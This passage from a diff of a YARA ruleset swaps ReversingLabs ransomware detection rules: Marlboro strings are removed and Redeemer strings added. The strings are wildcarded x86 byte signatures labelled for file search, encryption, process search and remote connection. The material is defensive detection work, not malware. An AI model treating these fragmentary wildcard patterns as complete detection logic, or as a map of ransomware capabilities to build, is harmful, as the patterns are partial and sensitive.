-            95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ??
-            FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 83 C3 ?? 4E 0F 85 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8B C7 83 C8 ?? 3B C7 75 ?? 80 7D ?? ?? 0F 85 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8A 4D
-            ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? FF 75 ?? 68
-            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 13 E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ??
-            ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D
-            95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ??
-            FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 83 C3 ?? 4E 0F 85 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? C3
-        }
-		$remote_connection = {
-            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2
-            ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            45 ?? 50 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 59 E8 ?? ?? ?? ??
-            8D 4D ?? BA ?? ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75
-            ?? 8D 4D ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 8D 45 ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45
-            ?? 8B 50 ?? 8B 45 ?? 8B 08 FF 51 ?? 8D 55 ?? 8B 45 ?? 8B 08 FF 51 ?? 8B 45 ?? 8D 55
-            ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? E8 ?? ??
-            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B C3 8B 55 ?? E8 ?? ?? ?? ??
-            33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$find_files = {
+            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
+            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
+            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ??
+            ?? 53 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ??
+            ?? 0F 84 ?? ?? ?? ?? 83 EC ?? 8B D4 C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02
+            ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 71 ?? 90 8A 01 41 84
+            C0 75 ?? 2B CE 51 8D 85 ?? ?? ?? ?? 8B CA 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            84 C0 74 ?? 83 EC ?? 8D 45 ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ??
+            ?? ?? 50 C6 01 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ??
+            ?? ?? C7 41 ?? ?? ?? ?? ?? 50 C6 01 ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF
+            15 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75
+            ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ??
+            83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72
+            ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9
+            ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33 CD 5B E8
+            ?? ?? ?? ?? 8B E5 5D C3
         }
 		$encrypt_files = {
-            55 8B EC 6A ?? 6A ?? 6A ?? 53 56 57 BB ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30
-            64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52
-            ?? 8B F0 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43
-            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B DE 4B 85 DB 7C ?? 43 33 F6 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45
-            ?? 8D 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ??
-            ?? ?? 8B 08 FF 51 ?? 8D 4D ?? 8B D6 A1 ?? ?? ?? ?? 8B 38 FF 57 ?? 8B 45 ?? B1 ?? BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 46 4B 75 ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? E8
+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 8B 3D ?? ?? ?? ?? 8D 45 ?? 68
+            ?? ?? ?? ?? 6A ?? 33 F6 89 55 ?? 56 56 50 89 4D ?? 89 75 ?? FF D7 85 C0 75 ?? 68 ??
+            ?? ?? ?? 6A ?? 50 50 8D 45 ?? 50 FF D7 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 53 8D 45 ??
+            89 75 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85
+            DB 74 ?? 8D 45 ?? 50 6A ?? 6A ?? FF 75 ?? 53 57 FF 15 ?? ?? ?? ?? 53 6A ?? FF 15 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ??
+            ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? 8B F0 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ??
+            8B 4D ?? 85 C9 74 ?? 8B 45 ?? 89 01 53 FF 15 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ??
+            5B 8B 4D ?? 8B C6 5F 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$search_processes = {
+            6A ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24
+            ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 B9
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 44 24 ?? ?? 8D 84 24 ?? ?? ?? ?? FF 74 24 ?? C7 05 ??
+            ?? ?? ?? ?? ?? ?? ?? 50 8D 44 24 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 05 ?? ?? ??
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 83 EE ?? 4F 83 7E
+            ?? ?? 72 ?? 8B 1E 8B CE 56 E8 ?? ?? ?? ?? 8B 46 ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C3 ??
+            75 ?? 8B 43 ?? 3B C3 73 ?? 2B D8 83 FB ?? 72 ?? 83 FB ?? 77 ?? 8B D8 53 E8 ?? ?? ??
+            ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 06 EB ??
+            8B C6 8B CE C6 00 ?? E8 ?? ?? ?? ?? 85 FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 5F 5E 5B 8B E5 5D C3 E8 ?? ?? ?? ?? CC CC CC CC CC B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ??
+            ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and $search_files and $encrypt_files and $remote_connection
+		uint16(0)==0x5A4D and ($search_processes) and ($find_files) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Marlboro : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Redeemer : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Marlboro ransomware."
+		description = "Yara rule that detects Redeemer ransomware."
 		author = "ReversingLabs"
-		id = "7cd3b436-47e3-5711-9b59-cef70efe3b45"
-		date = "2020-07-23"
-		modified = "2020-07-23"
+		id = "080ab595-862b-5dc2-aaff-a0efd819a9fa"
+		date = "2022-01-17"
+		modified = "2022-01-17"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Marlboro.yara#L1-L117"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "d36c3cf52af47e9f638f58aabc19298e8c58831c3083f82e4c194319503eeaaa"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Redeemer.yara#L1-L105"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "28287f6620a2f7a90057d1f97947e065721119e26398fe659331dc5fe99761de"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -29766,111 +31319,96 @@ rule REVERSINGLABS_Win32_Ransomware_Marlboro : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Marlboro"
+		tc_detection_name = "Redeemer"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$ping_apnic = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 0F 57
-            C0 F3 0F 7F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
-            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
-            8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$remote_server_connection_1 = {
-            BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D7 8B C8 E8 ?? ?? ?? ?? BA ?? ??
-            ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B
-            C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 8D 4D ??
-            50 E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8
+		$find_files = {
+            8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ??
+            8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 89 B5 ?? ??
+            ?? ?? 89 B5 ?? ?? ?? ?? 3B F7 0F 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 8B 3D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ??
+            C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ??
+            ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B
+            CC 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0
         }
-		$remote_server_connection_2 = {
-            84 C0 74 ?? B3 ?? EB ?? 32 DB C7 45 ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 83 7D
-            ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3D ?? ?? ??
-            ?? 74 ?? 8D 80 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? [0-3] 8B 85 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 C6
-            45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 8B F0 85 C9 74 ?? 8B
-            01 FF 50 ?? 85 C0 74 ?? 8B 10 8B C8 6A ?? FF 12 8B 06 8B CE 6A ?? 8B 40 ?? FF D0
+		$encrypt_files_p1 = {
